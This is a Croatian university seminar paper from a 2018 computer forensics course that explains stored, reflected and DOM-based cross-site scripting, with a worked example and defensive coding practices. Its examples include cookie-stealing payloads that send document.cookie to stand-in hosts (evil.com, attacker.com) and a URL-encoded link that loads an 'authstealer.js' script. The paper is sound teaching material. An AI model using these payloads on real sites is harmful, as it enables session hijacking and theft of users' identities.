Top Banner
SVEUČILIŠTE U ZAGREBU FAKULTET ELEKTROTEHNIKE I RAČUNARSTVA Seminar iz predmeta RAČUNALNA FORENZIKA JAVASCRIPT CROSS-SITE SCRIPTING Rut Pušelj ZAGREB, siječanj, 2018.
13

JAVASCRIPT CROSS-SITE SCRIPTINGnevena.lss.hr/recordings/fer/predmeti/racfor/2018/...S obzirom na to da je programski jezik JavaScript temeljni jezik za prikaz sadržaja na webu, i

Feb 04, 2021

Download

Documents

dariahiddleston
Welcome message from author
This document is posted to help you gain knowledge. Please leave a comment to let me know what you think about it! Share it to your friends and learn new things together.
Transcript
  • SVEUČILIŠTE U ZAGREBU

    FAKULTET ELEKTROTEHNIKE I RAČUNARSTVA

    Seminar iz predmeta

    RAČUNALNA FORENZIKA

    JAVASCRIPT CROSS-SITE SCRIPTING

    Rut Pušelj

    ZAGREB, siječanj, 2018.

  • 2

    SADRŽAJ

    1. Uvod ................................................................................................................................................ 3

    2. Cross-site Scripting (XSS) ................................................................................................................. 4

    3. Vrste XSS napada ............................................................................................................................. 8

    3.1. Pohranjeni XSS (Stored XSS) .................................................................................................... 8

    3.2. Reflektirani XSS (Reflected XSS) .............................................................................................. 8

    3.3. XSS temeljen na DOM-u (DOM-based XSS) ............................................................................. 9

    4. Primjer XSS napada ....................................................................................................................... 10

    5. Otkrivanje napada i načini zaštite ................................................................................................. 11

    6. Zaključak ........................................................................................................................................ 12

    7. Literatura ....................................................................................................................................... 13

  • 3

    1. Uvod

    Internet se, nedvojbeno, nalazi posvuda oko nas. Istraživanje iz 2017. godine

    procjenjuje da Internet koristi više od polovice svjetskog stanovništva [8], a procjenjuje se da

    u ovom trenutku postoji više od 1.3 milijarde aktivnih web stranica [9]. U tu statistiku ubrojane

    su samo indeksirane web stranice pa je ukupni broj web stranica, uključujući sve one neaktivne

    i neindeksirane, još i veći. Upravo zbog ovih velikih brojeva napadači se sve češće odlučuju za

    različite računalne i mrežne napade, ali i za napade preko web stranica.

    Jedan od najraširenijih napada na web stranice i web aplikacije upravo je cross-site

    scripting (XSS). Ta vrsta napada pogađa sve web stranice koje negdje imaju korisnički unos.

    Jedan od najpoznatijih XSS napada je zasigurno računalni crv Samy koji je u samo 20 sati 4.

    listopada 2005. godine, na tada iznimno popularnoj društvenoj stranici MySpace, uspio zaraziti

    više od milijun korisnika, što ga čini najbrže širećim računalnim virusom svih vremena [10].

    Iako je virus bio potpuno bezopasan, pokazao je koliki može biti doseg i šteta zloćudnih XSS

    napada. S obzirom na to da je programski jezik JavaScript temeljni jezik za prikaz sadržaja na

    webu, i uzimajući u obzir da se XSS napadi najviše pišu u JavaScriptu, u ovom seminaru opisani

    su i objašnjeni XSS napadi temeljeni na JavaScriptu.

  • 4

    2. Cross-site Scripting (XSS)

    Cross-site Scripting (skraćeno XSS) je vrsta napada kod kojeg napadač svoje

    zlonamjerne skripte šalje i „ubacuje“ u inače pouzdane web aplikacije čime neizravno napada

    krajnjeg korisnika koji posjećuje tu web aplikaciju. Takav napad događa se kada napadač

    putem korisničkog unosa na inače pouzdanoj web aplikaciji šalje svoj zlonamjerni kod čime on

    postaje dio te web aplikacije. Web preglednik krajnjeg korisnika takve web aplikacije neće

    znati da ona sadrži zlonamjernu skriptu s obzirom na to da on tu web stranicu vidi kao

    pouzdanu i sigurnu. Zbog toga će web preglednik izvršiti zlonamjernu skriptu što može imati

    velike posljedice. Takve zlonamjerne skripte mogu izmijeniti sadržaj stranice, ali i pristupiti

    kolačićima (engl. cookies), tokenima trenutno aktivne sjednice i ostalim osjetljivim i privatnim

    informacijama korisnika koje se nalaze u web pregledniku, a trenutno se koriste za tu web

    aplikaciju i time narušiti privatnost korisnika.

    XSS napadom napadač ne napada žrtvu izravno već koristi ranjivost web stranice ili web

    aplikacije koju žrtva posjećuje. Napadač uglavnom koristi ranjivu web aplikaciju kao vozilo za

    isporuku zlonamjernog koda ili skripte web pregledniku žrtve. XSS napada VBScript, ActiveX i

    Flash (iako se sada smatraju zastarjelim), ali nedvojbeno je najčešće zlostavljan JavaScript –

    prvenstveno zato što je JavaScript temelj za prikaz većine sadržaja na webu.

    Kako bi pokrenuo zlonamjerni JavaScript kod u web pregledniku žrtve, napadač najprije

    mora pronaći način kako bi ga ubacio u web aplikaciju koju žrtva koristi. Zato su posebno

    ranjive web stranice koje negdje koriste korisnički unos. Napadač tada može unijeti

    zlonamjerni tekst u takav korisnički unos koji će se dalje koristiti unutar web aplikacije i koji će

    web preglednik žrtve vidjeti kao kod za izvršavanje.

    Osnovni koncepti XSS napada su sljedeći:

    • XSS je napad temeljen na webu koji se izvodi na ranjivim web aplikacijama.

    • Kod XSS napada, žrtva je krajnji korisnik, a ne web aplikacija.

    • Zlonamjerni sadržaj prenosi se do krajnjih korisnika koristeći JavaScript.

    Uzmimo za primjer sljedeći najjednostavniji slučaj XSS napada. Neka web stranica,

    odnosno web aplikacija prikazuje komentare korisnika. Korisnici kroz jednostavni korisnički

    unos mogu unijeti svoj komentar. Sljedeći pseudokod koristi se na strani poslužitelja i služi za

    ispisivanje najnovijeg komentara:

    print ""

    print "Most recent comment"

    print database.latestComment

    print ""

  • 5

    Jedna takva skripta služi za ispisivanje zadnjeg komentara iz baze komentara svih

    korisnika i ispisivanje HTML elemenata na stranici, pretpostavivši da se ispisani komentar

    sastoji samo od teksta. Takva stranica je ranjiva na XSS napade jer napadač može unijeti

    komentar koji sadrži zlonamjerni kod, primjerice komentar koji sadrži skriptu unutar koje se

    nalazi zlonamjerna metoda:

    doSomethingEvil();

    Korisnicima koji će zatim posjetiti tu web aplikaciju prikazat će se stranica sa sljedećim kodom:

    Most recent comment

    doSomethingEvil();

    Kada se stranica učita u web pregledniku korisnika, odnosno žrtve, izvršit će se

    napadačeva zlonamjerna skripta i to u većini slučajeva bez korisnikovog shvaćanja da je bio

    napadnut i bez mogućnosti sprječavanja napada. U ovom slučaju je važno napomenuti da XSS

    ranjivost postoji samo kada web preglednik žrtve ima mogućnost parsiranja sadržaja

    (zlonamjerne skripte) kojeg je napadač unio.

    Posljedice onoga što napadač može napraviti kada ima mogućnost izvršavanja

    JavaScript koda na web stranici možda nisu odmah vidljive, pogotovo uzevši u obzir da se

    JavaScript izvršava u vrlo čvrsto kontroliranom okruženju i da ima ograničen pristup

    operacijskom sustavu korisnika i korisničkim datotekama. Kako bi se dobio dojam što sve

    napadač može napraviti koristeći zlonamjerni JavaScript kod, potrebno je navesti čemu sve

    JavaScript ima pristup.

    • Zlonamjerni JavaScript kod ima pristup svim objektima kao i web aplikacija/stranica,

    što uključuje i pristup kolačićima. Kolačići se često koriste kako bi se spremili tokeni

    trenutno aktivne sjednice pa ako napadač može dobiti pristup kolačićima trenutne

    sjednice žrtve, može preuzeti identitet tog korisnika.

    • JavaScript može čitati i mijenjati sve elemente koji se nalaze unutar web stranice

    koristeći DOM (engl. Document Object Model).

    • JavaScript može pomoću metode XMLHttpRequest ili na neke druge načine slati

    HTTP zahtjeve proizvoljnog sadržaja na proizvoljna odredišta.

    • JavaScript u novijim web preglednicima može iskoristiti API-je koji koriste HTML5 kako

    bi dobio pristup geolokaciji korisnika, web-kameri, mikrofonu pa čak i određenim

    datotekama iz korisničkog datotečnog sustava. Iako većina tih API-ja zahtijeva

  • 6

    uključivanje korisnika, XSS u suradnji s pametnim inženjeringom može napadača

    dovesti daleko.

    Uzevši u obzir navedeno, napadač može izvesti i napredne napade kao što su

    keylogging i krađa identiteta. Zbog toga XSS ranjivosti na web aplikacijama pružaju savršene

    temelje za napadače kako bi svoje napade učinili još naprednijim i ozbiljnijim.

    Kod XSS napada postoje tri aktora – web aplikacija/stranica, žrtva i napadač.

    Pretpostavimo da je napadačev cilj preuzeti identitet žrtve krađom njegovih kolačića. Slanje

    žrtvinih kolačića na poslužitelj kojim upravlja napadač može se postići na više načina. Jedan od

    njih je izvršavanje sljedećeg zlonamjernog koda u web pregledniku žrtve, i to koristeći XSS.

    window.location=“http://evil.com/?cookie=” + document.cookie

    Na slici 1 nalazi se primjer jednog napada. Brojevi na slici označavaju tijek izvođenja

    napada.

    1. Napadač unosi zlonamjerni JavaScript kod u ranjivi korisnički unos na web aplikaciji,

    čime unosi zlonamjerni sadržaj u bazu podataka.

    2. Žrtva traži pristup web stranici putem svog web preglednika.

    3. Poslužitelj poslužuje web pregledniku žrtve stranicu koja sadrži napadačev zlonamjerni

    sadržaj kao dio tijela HTML koda.

    4. Web preglednik žrtve izvršava zlonamjernu skriptu koja se nalazi unutar tijela HTML

    koda. U ovom slučaju, skripta šalje kolačiće žrtve nekom poslužitelju kojim upravlja

    napadač. Sve što napadač sada mora napraviti je izvući žrtvin kolačić iz HTTP zahtjeva

    koji dolazi na poslužitelj, nakon čega može koristiti taj kolačić za preuzimanje identiteta

    žrtve.

  • 7

    Slika 1. Primjer XSS napada.

    Osim za krađu kolačića i tokena, XSS se koristi i za izazivanje štete na društvenim

    mrežama, širenje zlonamjernih programa, keylogging (npr. korištenjem metode

    addEventListener() uz neki keyboard event listener), brisanje i mijenjanje sadržaja na web

    stranicama i za tzv. phishing napade koji podrazumijevaju aktivnosti kojima napadači

    korištenjem lažiranih korisničkih unosa (npr. DOM manipulacijom) pokušavaju korisnike

    navesti na otkrivanje povjerljivih osobnih podataka kao što su korisnička imena i zaporke, PIN-

    ovi, brojevi kreditnih kartica i drugo. XSS se također može, uz pomoć socijalnog inženjeringa,

    koristiti i za neke štetnije napade.

  • 8

    3. Vrste XSS napada

    XSS napadi klasificiraju se u tri veće kategorije – pohranjeni XSS (engl. stored XSS),

    reflektirani XSS (engl. reflected XSS) i XSS temeljen na DOM-u (engl. DOM-based XSS).

    3.1. Pohranjeni XSS (Stored XSS)

    Najopasniji i najštetniji XSS napad je pohranjeni XSS. To je napad kod kojeg zlonamjerna

    skripta ostaje zauvijek pohranjena u ciljanoj aplikaciji, primjerice unutar baze podataka.

    Najjednostavniji primjer je zlonamjerna skripta koju je napadač unio putem polja za unos

    komentara na blogu ili forumu. Kada žrtva u web pregledniku navigira kroz zaraženu web

    stranicu, web preglednik će XSS sadržaj, odnosno zlonamjernu skriptu vidjeti kao legitimni dio

    web stranice te će ga nenamjerno izvršiti i time naštetiti korisniku. Još jedan primjer je

    nepravilno rukovanje na strani klijenta s korisničkim imenom korisnika. Napadač može ubaciti

    zlonamjernu skriptu unutar korisničkog imena na forumu koje je spremljeno u bazu podataka

    pa se na web stranici, svaki put kada žrtva posjeti dio gdje se nalazi zlonamjerna skripta,

    pojavljuje primjerice:

    Username:

    user123document.location='https://attacker.com/?cookie='+enc

    odeURIComponent(document.cookie)

    Registered since: 2018

    i zlonamjerna skripta se izvršava.

    3.2. Reflektirani XSS (Reflected XSS)

    Najrašireniji XSS napad je reflektirani XSS. U ovom slučaju, napadačeva zlonamjerna

    skripta šalje se kao dio HTTP zahtjeva napadnutom web poslužitelju te se ona zatim reflektira

    kroz HTTP odgovor koji sadrži upravo tu zlonamjernu skriptu. Korištenjem phishing napada i

    ostalih tehnika, napadač privlači žrtvu da nehotice pošalje HTTP zahtjev poslužitelju koji sadrži

    XSS sadržaj što za posljedicu ima izvršavanje zlonamjerne skripte unutar web preglednika. S

    obzirom na to da reflektirani XSS nije trajni napad, napadač mora dostaviti zlonamjerni sadržaj

    svakoj žrtvi posebno, zbog čega je takav napad čest upravo na društvenim mrežama.

    Zamislimo da napadač otkrije da je neka tražilica na web stranici ranjiva na XSS napade.

    Za korištenje te web stranice potrebno je imati vlastito korisničko ime i lozinku. U uobičajenom

    slučaju, korisnik koji upisuje pojam „puppies“ u tražilicu slat će upit poslužitelju na URL adresu

  • 9

    http://somewebsite.org?q=puppies. Ako nema rezultata, na ekranu će se ispisati

    „puppies not found“. Napadač može u tražilicu upisati i svoju zloćudnu skriptu, pa će URL

    adresa izgledati ovako:

    http://somewebsite.org?q=alert('xss

    ');

    Ako napadač napravi URL adresu:

    http://somewebsite.org?q=puppies

    te pretvori ASCII znakove u heksadecimalni prikaz kako bi prosječnom korisniku na prvi pogled

    bilo nejasno o čemu se radi:

    http://somewebsite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2F

    evilwebsite.com%2Fauthstealer.js%22%3E%3C%2Fscript%3E

    i pošalje URL adresu žrtvi (primjerice putem e-mail pošte), korisniku će se, nakon što pritisne

    poveznicu, na ekranu prikazati „puppies not found“ te neće biti ni svjestan da je u pozadini

    njegov web preglednik izvršio zloćudnu skriptu authstealer.js koja krade autorizacijski

    kolačić žrtve koji web pregledniku služi za održavanje trenutno aktivne sjednice na toj web

    stranici.

    3.3. XSS temeljen na DOM-u (DOM-based XSS)

    XSS napad temeljen na DOM-u je napredni tip XSS napada. Takva vrsta napada moguća

    je kada skripte na klijentskoj strani web aplikacije koriste DOM. DOM je objektni model koji

    omogućuje JavaScriptu pristup i promjenu svih HTML elemenata stranice. Web stranica zatim

    čita podatke iz DOM-a i ispisuje ih u web pregledniku. Ako se nepravilno rukuje s podacima,

    napadač može ubaciti zlonamjerni sadržaj u DOM, koji će se kasnije čitati i izvršavati kao da je

    dio DOM-a te web aplikacije. Najopasniji dio ovog napada je napad sa strane klijenta gdje se

    napadačev zlonamjerni sadržaj nikad ne šalje poslužitelju. Zbog toga napad neće ostati zapisan

    u dnevnicima na poslužitelju pa ga je teško otkriti.

    Između različitih objekata koji čine DOM, postoje određeni objekti kojima napadač

    može manipulirati kako bi stvorio XSS stanje. To su primjerice document.URL,

    document.documentURI, location.hash, window.name, i document.referrer.

    Primjer jednog XSS napada temeljenog na DOM-u pronađen je 2011. godine u velikom

    broju jQuery plugin-ova koji koriste funkcije $(location.hash) i $(#) koje, iako za

    ulaz primaju CSS selector, mogu primati i izvršavati zloćudan XSS kod. Zbog toga neke novije

    JavaScript knjižnice, poput Angular.js, imaju već ugrađene protumjere protiv ovakvih i ostalih

    XSS napada.

    http://somewebsite.org/?q=puppies

  • 10

    4. Primjer XSS napada

    Uzmimo za primjer web aplikaciju koja nudi korisnicima prilagođeni sadržaj ovisno o

    njihovom korisničkom imenu koje se zatim nalazi kodirano u URL-u. HTML kod takve web

    stranice s URL-om http://www.example.com/userdashboard.html izgledao bi ovako:

    Custom Dashboard

    ...

    Main Dashboard for

    var pos=document.URL.indexOf("context=")+8;

    document.write(document.URL.substring(pos,document.URL.length

    ));

    ...

    Neka korisničko ime našeg korisnika bude JamesBond. Rezultat posjećivanja stranice s

    URL-om http://www.example.com/userdashboard.html?context=JamesBond bila

    bi stranica s naslovom „Main Dashboard for JamesBond“.

    Zlonamjerna skripta može se ugraditi u URL na sljedeći način:

    http://www.example.com/userdashboard.html?context=EvilFuncti

    on(evilVariable)

    http://www.example.com/userdashboard.html#context=EvilFuncti

    on(evilVariable)

    Nadalje, žrtvin web preglednik dobiva gornji URL i šalje HTTP zahtjev na poslužitelja s

    adresom http://www.example.com, a prima gore opisanu statičnu HTML stranicu. Nakon

    toga web preglednik počinje stvarati DOM dobivene stranice i u document.url upisuje URL

    koji sadrži zlonamjernu skriptu.

    Kada web preglednik dođe skripte koja parsira ime korisnika iz URL-a, referencirajući

    se na document.url, izvršava ju i ažurira HTML tijelo stranice, što rezultira sljedećim:

    ...

    Main Dashboard for EvilFunction(evilVariable)

    ...

    Web preglednik nailazi na zlonamjerni kod i izvršava ga, čime završava DOM XSS napad.

    U stvarnosti, napadač bi sakrio zlonamjerni sadržaj iz URL-a korištenjem kodiranja kako ne bi

    bilo očito da URL sadrži skriptu.

  • 11

    Treba napomenuti da, iako neki web preglednici mogu kodirati znakove < i >, u

    primjerice < i >, što može zaustaviti napad, postoje slučajevi gdje nije potrebno

    koristiti te znakove niti je potrebno ubaciti kod direktno u URL tako da niti takvi web

    preglednici nisu potpuno imuni na ovakav tip napada.

    Iz navedenog primjera vide se razlike DOM XSS napada u odnosu na ostale XSS napade.

    HTML stranica je statična i ne postoji zlonamjerna skripta koja je dio te stranice kao što je

    primjer kod drugih vrsta XSS napada. Osim toga, zlonamjerna skripta nikad ne dolazi do

    poslužitelja jer se koristi oznaka „#“ koja označava fragment na stranici i web preglednik ne

    šalje zahtjev dalje do poslužitelja. Zbog toga alati za otkrivanje napada na strani poslužitelja

    neće otkriti ovakav napad. Ipak, u nekim slučajevima, ovisno o tipu URL-a, zlonamjerni sadržaj

    ipak će doći do poslužitelja te će ga biti nemoguće potpuno sakriti.

    5. Otkrivanje napada i načini zaštite

    Kod klasičnih XSS napada zlonamjerna skripta dolazi do poslužitelja pa se za detekciju

    takvih napada mogu koristiti dnevnici na poslužitelju i različiti alati koji otkrivaju upad u sustav.

    DOM XSS napade teško je otkriti analizirajući poslužitelja i korištenjem alata za

    zaustavljanje napada s obzirom na to da zlonamjerni sadržaj u većini slučajeva ne dolazi do

    samog poslužitelja kao što je slučaj s ostalim XSS napadima. Međutim, budući da korijen

    problema leži u samom kodu stranice na strani klijenta, potrebno je dobro pregledati kod i

    implementaciju funkcionalnosti web aplikacije. Najjednostavniji način za sprječavanje XSS

    napada je ispravna provjera korisničkog unosa kako napadači ne bi mogli ubaciti svoje

    zlonamjerne skripte.

    Učinkovite metode obrane protiv DOM XSS napada uključuju:

    • Izbjegavanje osjetljivih postupaka na strani klijenta, kao što su prepisivanje ili

    preusmjeravanje koristeći podatke klijenta.

    • Analiziranje koda na strani klijenta pregledavajući kod i korištenje sigurnog rukovanja

    referencama na DOM objekte koji predstavljaju prijetnju, poput URL-a, lokacija i

    referrer-a, posebno u slučajevima kada se DOM može promijeniti.

    • Upotreba sustava za sprječavanje napada koji mogu pregledati ulazne parametre URL-

    a i spriječiti posluživanje neprikladnih stranica.

    Ostala pravila kojim se sprječavaju DOM XSS napadi mogu se pronaći u literaturi [7].

    Testiranje učinkovitosti metoda saniranja XSS napada ili otkrivanja ranjivosti na XSS

    napade može se izvesti ručnim pokušavanjem izazivanja samih napada (u kontroliranom

  • 12

    okruženju) ili pomoću automatiziranih alata koji provode automatsko testiranje protiv ovih

    tipova ranjivosti.

    Kako bi se napadačima otežalo i onemogućilo izvođenje XSS napada, potrebno je

    koristiti i dobre prakse u pisanju JavaScript koda:

    • Umjesto direktnog umetanja HTML-a u dokument, trebalo bi programski stvoriti DOM

    čvorove i pripojiti ih DOM-u. To znači da treba izbjegavati funkcije poput .html(),

    .innerHTML i slično, a umjesto njih koristiti .append(), .prepend(), .before(),

    .after() itd.

    • Izbjegavati funkciju eval(). Ta funkcija prima JavaScript kod u obliku string-a i

    izvršava ga bez pitanja što je čini savršenom za zloćudne napadače.

    • Izbjegavati korištenje zastarjelih i neažuriranih JavaScript knjižnica.

    • Izbjegavati korištenje neprovjerenih i nesigurnih JavaScript knjižnica.

    • Izbjegavati korištenje neprovjerenih podataka iz URL-ova, URL fragmenata, upita i

    kolačića.

    6. Zaključak

    XSS napadi vrlo su česti i mogu izazvati vrlo štetne posljedice. Oni mogu potpuno

    narušiti privatnost krajnjih korisnika i napadačima otkriti privatne informacije korisnika te ih

    zatim iskoristiti u zloćudne svrhe. Zbog toga je potrebno zaštititi se na odgovarajući način kako

    bi napadačima bilo otežano ili čak i onemogućeno izvođenje XSS napada. Osim što je potrebno

    usvojiti dobre prakse pisanja JavaScript koda kako bi web aplikacija bila što otpornija na takve

    napade, potrebno je i shvatiti kako XSS napad može narušiti sigurnosti web aplikacije te

    testirati sve moguće ranjivosti web aplikacije.

    Iako XSS napade može biti teško otkriti, specifičan problem, jednom kada je otkriven,

    u većini slučajeva nije teško riješiti. Zbog toga je u svakom slučaju bolje unaprijed spriječiti bilo

    kakve moguće napade na adekvatan način nego se kasnije brinuti oko štetnih posljedica koje

    takvi napadi mogu donijeti.

  • 13

    7. Literatura

    [1] Acunetix, Cross-site Scripting (XSS) Attack, dostupno na:

    https://www.acunetix.com/websitesecurity/xss/ [12.1.2018.]

    [2] Acunetix, Types of XSS: Stored XSS, Reflected XSS and DOM-based XSS, dostupno na:

    https://www.acunetix.com/websitesecurity/cross-site-scripting/ [12.1.2018.]

    [3] Nick Daugherty, Coding Best Practices: Preventing XSS in JavaScript (25.3.2015.),

    dostupno na: https://vip.wordpress.com/2015/03/25/preventing-xss-in-javascript/

    [12.1.2018.]

    [4] Jakob Kallin, Irene Lobo Valbuena, Excess XSS, A comprehensive tutorial on cross-site

    scripting, dostupno na: https://excess-xss.com/ [12.1.2018.]

    [5] OWASP, Cross-site Scripting (XSS), dostupno na:

    https://www.owasp.org/index.php/Cross-site_Scripting_(XSS) [12.1.2018.]

    [6] Netsparker, The Cross-site Scripting (XSS) Vulnerability: Definition and Prevention,

    dostupno na: https://www.netsparker.com/blog/web-security/cross-site-scripting-

    xss/ [12.1.2018.]

    [7] OWASP, DOM based XSS Prevention Cheat Sheet, dostupno na:

    https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet

    [12.1.2018.]

    [8] Internet world stats – Internet usage statistics - World Internet Users and 2017

    Population Stats, dostupno na: http://www.internetworldstats.com/stats.htm

    [23.1.2018.]

    [9] Internet live stats – Total number of Websites, dostupno na:

    http://www.internetlivestats.com/total-number-of-websites/ [23.1.2018.]

    [10] Wikipedia - Samy (computer worm), dostupno na:

    https://en.wikipedia.org/wiki/Samy_(computer_worm) [23.1.2018.]

    https://www.acunetix.com/websitesecurity/xss/https://www.acunetix.com/websitesecurity/cross-site-scripting/https://vip.wordpress.com/2015/03/25/preventing-xss-in-javascript/https://excess-xss.com/https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)https://www.netsparker.com/blog/web-security/cross-site-scripting-xss/https://www.netsparker.com/blog/web-security/cross-site-scripting-xss/https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheethttp://www.internetworldstats.com/stats.htmhttp://www.internetlivestats.com/total-number-of-websites/https://en.wikipedia.org/wiki/Samy_(computer_worm)